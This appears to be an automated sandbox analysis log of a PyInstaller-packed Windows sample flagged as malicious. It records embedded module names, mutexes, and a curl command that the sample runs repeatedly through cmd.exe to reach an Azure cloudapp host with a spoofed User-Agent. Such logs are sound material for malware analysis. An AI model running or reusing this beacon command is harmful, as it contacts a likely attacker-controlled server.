Source: file.exe, 00000000.00000003.1750386943.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1754336115.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1750979635.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1752374384.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1750728421.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1750041127.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1750613362.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1753887474.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1752018194.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1751343265.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1753781951.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1749617862.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1758622084.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameucrtbase.dllj% vs file.exe
Source: file.exe, 00000000.00000003.1751453983.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1751802736.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1753659236.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1754433845.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_hashlib.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1750170866.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1749927325.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1753385800.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1748538960.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_decimal.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1749715082.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1752254686.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1754551936.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_lzma.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1753999667.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1749386479.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1751102339.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1750280448.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1751690780.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1753238604.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1754233802.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameunicodedata.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1750835118.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_socket.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_bz2.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1753536442.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exeBinary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000001.00000002.3018631825.00007FFDFB708000.00000002.00000001.01000000.00000005.sdmpBinary or memory string: OriginalFilenamepython311.dll. vs file.exe
Source: file.exe, 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpBinary or memory string: OriginalFilenameucrtbase.dllj% vs file.exe
Source: file.exe, 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpBinary or memory string: OriginalFilename_socket.pyd. vs file.exe
Source: file.exe, 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: OriginalFilenamevcruntime140.dllT vs file.exe
Source: file.exe, 00000001.00000002.3019043287.00007FFE1A456000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: OriginalFilenameselect.pyd. vs file.exe
Source: classification engineClassification label: mal60.winEXE@63/51@0/1
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399B29E0 GetLastError,FormatMessageW,MessageBoxW,0_2_00007FF6399B29E0
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2080:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3736:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5272:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7080:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7128:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6836:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1716:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1364:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2672:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2160:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4080:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3448:120:WilError_03
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922Jump to behavior
Source: file.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: file.exeReversingLabs: Detection: 34%
Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\user\Desktop\file.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Users\user\Desktop\file.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\file.exeSection loaded: vcruntime140.dllJump to behavior
Source: C:\Users\user\Desktop\file.exeSection loaded: python3.dllJump to behavior
Source: C:\Users\user\Desktop\file.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\file.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
